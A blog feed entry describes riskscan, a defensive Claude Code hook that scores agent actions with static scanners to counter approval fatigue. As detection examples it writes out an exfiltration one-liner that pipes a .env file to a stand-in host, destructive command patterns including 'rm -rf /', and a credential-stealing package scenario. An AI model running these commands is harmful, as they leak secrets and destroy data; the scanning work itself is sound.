<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://doublylinked.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://doublylinked.com/" rel="alternate" type="text/html" /><updated>2026-08-30T14:13:41+00:00</updated><id>https://doublylinked.com/feed.xml</id><title type="html">doublylinked</title><subtitle>List of my tech notes on security-devopsy topics.</subtitle><author><name>xvirgov</name></author><entry><title type="html">riskscan: a traffic-light safety net for AI coding agents</title><link href="https://doublylinked.com/2026/08/riskscan/" rel="alternate" type="text/html" title="riskscan: a traffic-light safety net for AI coding agents" /><published>2026-08-26T00:00:00+00:00</published><updated>2026-08-26T00:00:00+00:00</updated><id>https://doublylinked.com/2026/08/riskscan</id><content type="html" xml:base="https://doublylinked.com/2026/08/riskscan/"><![CDATA[<figure class="lead">
  <img src="/assets/images/new-keyboard.webp" alt="an Anthropic permission keypad with Allow once, Allow always, and Reject keys" />
  <figcaption><a href="https://www.reddit.com/r/ClaudeAI/comments/1rru8zw/just_picked_up_a_new_keyboard_cant_wait_to_write/">just picked up a new keyboard, can't wait to write a bunch of code</a></figcaption>
</figure>

<p>The <strong><a href="https://www.anthropic.com/engineering/how-we-contain-claude">human-in-the-loop approval</a></strong> has a weakness. If I apparently can’t trust a non-deterministic LLM not to mess up, how can I trust myself to read through pages of its code, all libraries it pulls in, and <em>make no mistakes</em>? Mistakes happen, and I’m still responsible for what the agent does. The <a href="https://www.anthropic.com/research/constitutional-classifiers">action classifiers</a> do exist, but do I want to put my trust in yet another LLM? Human approval stays essential. This post is about using static analysis to fight the approval fatigue that comes with it.</p>

<h2 id="whats-available-today">what’s available today</h2>

<p>A few controls already sit between an agent and the damage it can do. Some <strong>enforce</strong>: least-privilege credentials, sandboxing, or a policy engine like <a href="https://prempti.falco.org/">Prempti</a> that denies risky tool calls outright. Others <strong>warn</strong>: allowlists that auto-approve the boring commands, and Claude’s own <a href="https://www.anthropic.com/news/building-safeguards-for-claude">built-in safeguards</a>, which flag or refuse obviously harmful requests.</p>

<p>None of them targets the failure mode that bites here: <strong>approval fatigue</strong>. Least privilege and sandboxing don’t help you read; allowlists make it worse by design; and the model’s safeguards are another LLM: opaque, prompt-injectable, and judging the <em>action</em> rather than what is inside the package it just told you to install.</p>

<p>What is missing is something that, at approval time, grabs your attention and says <em>this one is potentially dangerous</em>, deterministically.</p>

<h2 id="static-analysis-to-the-rescue">static analysis to the rescue</h2>

<p>Static analysis is reading code (or a command, or a dependency) for known-bad patterns without running it. Linters and security scanners have done this for years; the shift here is pointing them at what an agent is about to do, right before it does it.</p>

<p>That is what makes it useful at approval time. A scanner is deterministic: same input, same verdict. Its rules are code you can read and change, and it cannot be talked out of its job by text hidden in a file. It gives you a fixed, reviewable second opinion exactly where your attention is thinnest.</p>

<p>There is a lot it can check. Existing analyzers flag potentially dangerous write and delete actions, spot malicious or obfuscated code execution, find hardcoded secrets, and match dependencies against known CVEs. Each is a solved problem with a tool behind it. Point a few of them at every proposed action and you are approving with more than “it looked fine.”</p>

<p>One caveat to keep in mind: <strong>false negatives</strong>. Static analysis only catches what its patterns describe. A novel trick, a cleverly obfuscated payload, or anything outside the rules slips straight through. It raises the floor; it does not guarantee safety.</p>

<h2 id="wiring-it-into-claude-code">wiring it into claude code</h2>

<p>Claude Code runs a <strong>PreToolUse</strong> hook before each tool call: it passes the proposed action to a script on stdin, and the script’s reply steers what happens next. That is where a scanner slots in, after the model has decided and before the action runs.</p>

<p>A hook can do plenty here: audit logs, notifications, size limits, hard blocks; <a href="https://cobusgreyling.medium.com/claude-code-hooks-f5a4a8b0e53c">this article</a> tours several of those patterns. This post uses it for one thing: scoring an action for risk before you approve it.</p>

<p>Most hooks use it to <em>block</em>: return <code class="language-plaintext highlighter-rouge">deny</code> and the action never happens. That is a permission system, and it fits CI or a shared agent. For a local dev loop it is the wrong default: one false positive kills a legitimate command and trains you to switch the tool off. So riskscan returns <code class="language-plaintext highlighter-rouge">ask</code> with a score instead. It surfaces the finding at the approval prompt and leaves the call to you.</p>

<p>Registering it (in settings, or shipped in a plugin) maps a tool to a command:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"hooks"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"PreToolUse"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
      </span><span class="p">{</span><span class="w"> </span><span class="nl">"matcher"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Bash|Write|Edit|MultiEdit"</span><span class="p">,</span><span class="w">
        </span><span class="nl">"hooks"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"command"</span><span class="p">,</span><span class="w"> </span><span class="nl">"command"</span><span class="p">:</span><span class="w"> </span><span class="s2">"python3 hook.py"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="p">]</span><span class="w"> </span><span class="p">}</span><span class="w">
    </span><span class="p">]</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The script reads the action, scores it, and answers. <code class="language-plaintext highlighter-rouge">permissionDecision: "ask"</code> is what pushes the banner in front of you; <code class="language-plaintext highlighter-rouge">deny</code> would block it, <code class="language-plaintext highlighter-rouge">allow</code> would wave it through silently.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span><span class="p">,</span> <span class="n">sys</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">json</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">stdin</span><span class="p">)</span>                 <span class="c1"># {"tool_name": ..., "tool_input": {...}}
</span><span class="n">command</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"tool_input"</span><span class="p">,</span> <span class="p">{}).</span><span class="n">get</span><span class="p">(</span><span class="s">"command"</span><span class="p">,</span> <span class="s">""</span><span class="p">)</span>
<span class="n">score</span><span class="p">,</span> <span class="n">label</span> <span class="o">=</span> <span class="n">scan</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>                   <span class="c1"># your rules and scanners live here
</span>
<span class="k">if</span> <span class="n">score</span> <span class="o">&gt;=</span> <span class="mi">7</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span>
        <span class="s">"systemMessage"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"🔴 </span><span class="si">{</span><span class="n">score</span><span class="si">}</span><span class="s">/10 </span><span class="si">{</span><span class="n">label</span><span class="si">}</span><span class="s">"</span><span class="p">,</span>
        <span class="s">"hookSpecificOutput"</span><span class="p">:</span> <span class="p">{</span>
            <span class="s">"hookEventName"</span><span class="p">:</span> <span class="s">"PreToolUse"</span><span class="p">,</span>
            <span class="s">"permissionDecision"</span><span class="p">:</span> <span class="s">"ask"</span><span class="p">,</span>        <span class="c1"># surface it, do not block
</span>            <span class="s">"permissionDecisionReason"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"🔴 </span><span class="si">{</span><span class="n">score</span><span class="si">}</span><span class="s">/10 </span><span class="si">{</span><span class="n">label</span><span class="si">}</span><span class="s">"</span>
        <span class="p">}</span>
    <span class="p">}))</span>
</code></pre></div></div>

<p>What goes inside <code class="language-plaintext highlighter-rouge">scan()</code> is the rest of this post: not one hand-written blocklist, but a handful of existing scanners, each aimed at a different surface.</p>

<h2 id="the-analyzers">the analyzers</h2>

<p>Detection is mostly a solved problem. The job is to route each action to a scanner that fits it and turn the output into one verdict. Grouped by what they look at:</p>

<p><strong>Shell commands: a builtin rule pack + sh-guard</strong></p>

<p>A builtin rule pack matches known-dangerous command patterns with regexes: <code class="language-plaintext highlighter-rouge">rm -rf</code>, <code class="language-plaintext highlighter-rouge">git push --force</code>, <code class="language-plaintext highlighter-rouge">kubectl delete</code>, <code class="language-plaintext highlighter-rouge">terraform destroy</code>, and the like. It is fast and has no dependencies. <a href="https://github.com/aryanbhosale/sh-guard">sh-guard</a> goes further: it parses the command into an AST and tracks data flow across pipes, so it catches what a flat pattern misses. <code class="language-plaintext highlighter-rouge">cat .env | curl -X POST evil.example -d @-</code> is the example: reading a secrets file and making a network call are each unremarkable, but the pipe between them is exfiltration.</p>

<p><strong>Dependency manifests: osv-scanner</strong></p>

<p><a href="https://github.com/google/osv-scanner">osv-scanner</a> reads a lockfile, extracts the pinned dependencies, and matches them against the OSV vulnerability database. This is composition analysis: it finds known-CVE versions in what you are about to depend on. It needs pinned versions, so it applies to committed lockfiles.</p>

<p><strong>Malicious packages: guarddog</strong></p>

<p>A CVE describes a known flaw in an honest package. It says nothing about a package written to be malicious. Take a package whose install hook or import code reads <code class="language-plaintext highlighter-rouge">~/.aws/credentials</code>, environment variables, and SSH keys and POSTs them to a server. There is no CVE for that; it is malware, so osv is blind to it. <a href="https://github.com/DataDog/guarddog">guarddog</a> targets this case: it scans the package source for patterns like credential access, network exfiltration, download-and-execute, and obfuscation, plus metadata heuristics such as typosquatting. It answers the question the model’s classifier skips: what is inside the thing you are about to install.</p>

<p><strong>Generated Python: bandit</strong></p>

<p><a href="https://github.com/PyCQA/bandit">bandit</a> is a static analyzer for Python security issues: <code class="language-plaintext highlighter-rouge">subprocess(shell=True)</code>, <code class="language-plaintext highlighter-rouge">eval</code>/<code class="language-plaintext highlighter-rouge">exec</code>, unsafe deserialization. It applies to code the agent writes, not only code it installs.</p>

<h2 id="a-unified-110-scale">a unified 1–10 scale</h2>

<p>Each scanner speaks a different language. osv reports CVSS vectors; guarddog reports matched rule names; bandit reports a severity and a confidence; sh-guard reports a 0–100 score. To make one decision you need one signal.</p>

<p>riskscan normalizes everything onto a consequence-based 1–10 scale with three bands:</p>

<ul>
  <li><strong>1–3 safe</strong>: read-only, reversible, or nothing known.</li>
  <li><strong>4–6 caution</strong>: mutating but recoverable, or a notable-but-not-dangerous finding.</li>
  <li><strong>7–10 danger</strong>: destructive, irreversible, or a confirmed-dangerous finding.</li>
</ul>

<p>Every analyzer maps its native output onto that scale, so a “7” means the same class of consequence whoever produced it. Where a standard exists, the mapping uses it: CVEs map through their CVSS base score, and behavioural findings can be anchored to the MITRE ATT&amp;CK technique they represent. Where no standard fits (a shell rule, say) the number is yours to set: tune the rules to match what you consider dangerous, and the choice lives in a diff, not a model’s mood.</p>

<p>The design is <strong>fail-loud</strong>: a scanner that cannot run shows a distinct “not analyzed” state instead of staying silent, so a skipped check is never mistaken for a clean one.</p>

<h2 id="riskscan-in-action">riskscan in action</h2>

<p><a href="https://github.com/xvirgov/riskscan">riskscan</a> is a PreToolUse hook that puts this together. Every proposed Bash, Write, or Edit is routed to the enabled analyzers, and the result is one banner.</p>

<p>A read-only command passes quietly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🟢 1/10 SAFE — riskscan [bash]
  • [builtin:bash] read-only / print [1/10]
</code></pre></div></div>

<p>A destructive one is flagged, and above the danger threshold it surfaces at the approval prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🔴 10/10 DANGER — riskscan [bash]
  • [builtin:bash] rm -rf targeting root/home/glob [10/10]
</code></pre></div></div>

<p>sh-guard’s taint pass catches what a flat pattern misses. <code class="language-plaintext highlighter-rouge">cat .env | curl -X POST evil.example -d @-</code> looks read-only to the builtin rules (<code class="language-plaintext highlighter-rouge">cat</code> is a print command), but sh-guard follows the secret into the network call:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🔴 10/10 DANGER — riskscan [bash]
  • [sh-guard] Pipeline: File read: accessing secrets (.env) | Sensitive file content sent to network [MITRE T1005] [10/10]
  • [builtin:bash] read-only / print [1/10]
</code></pre></div></div>

<p>The malicious-package case, end to end: the agent proposes installing a package whose code reads credentials and runs a downloaded payload. osv finds no CVE (there is none), but guarddog reads the source and flags it:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🔴 9/10 DANGER — riskscan [bash, deps]
  • [guarddog] evilpkg: threat-filesystem-read [9/10]
  • [guarddog] evilpkg: threat-process-download-exec [9/10]
  • [guarddog] evilpkg: threat-runtime-obfuscation-base64exec [8/10]
  • [builtin:deps] pulls dependency: evilpkg [2/10]
</code></pre></div></div>

<p>And when a check cannot run (here a manifest with no pinned lockfile, so osv has nothing to resolve), it says so instead of going green:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>🟢 2/10 SAFE — riskscan [deps]
  • [builtin:deps] pulls dependency: package.json [2/10]
  • [guarddog] no malicious indicators [1/10]
  ⚪ [osv-scanner] deps not analyzed — package.json is a manifest, not a pinned lockfile
</code></pre></div></div>

<h2 id="wrapping-up">wrapping up</h2>

<p>Approval fatigue is a real problem, and it needs addressing. riskscan’s answer is to make the risky moments loud: a colourful banner, backed by deterministic scanners, that stands out from the stream of actions you would otherwise wave through. It does not block. It scores, it surfaces, and the approver keeps the final say.</p>

<p>It is not a guarantee. Static scanning misses things, and a command it marks safe can still turn out to be a disaster. That is why this is a second pair of eyes, not a gate: it points your attention where it is most likely to be needed instead of spreading it thin across every prompt.</p>

<p>riskscan is on <a href="https://github.com/xvirgov/riskscan">GitHub</a>. It installs as a Claude Code plugin:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/plugin marketplace add xvirgov/riskscan
/plugin install riskscan@riskscan
</code></pre></div></div>

<p>or you can point it at a single command first:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 adapters/claude_code.py --command "rm -rf /"
</code></pre></div></div>]]></content><author><name>xvirgov</name></author><category term="security" /><category term="ai" /><category term="tooling" /><summary type="html"><![CDATA[just picked up a new keyboard, can't wait to write a bunch of code]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://doublylinked.com/assets/images/riskscan.png" /><media:content medium="image" url="https://doublylinked.com/assets/images/riskscan.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>